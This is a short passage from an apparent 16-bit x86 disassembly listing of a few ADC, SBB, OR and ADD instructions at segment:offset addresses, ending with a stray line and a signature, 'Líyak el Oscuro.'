  496. 0FF1:0475 10810315      ADC     [BX+DI+1503],AL                     
  497. 0FF1:0479 1B02          SBB     AX,[BP+SI]                          
  498. 0FF1:047B 0800          OR      [BX+SI],AL                          
  499. 0FF1:047D 0008          ADD     [BX+SI],CL                          
  500. *cL
  501.                                                           Líyak el Oscuro.
  502.                                                        
  503.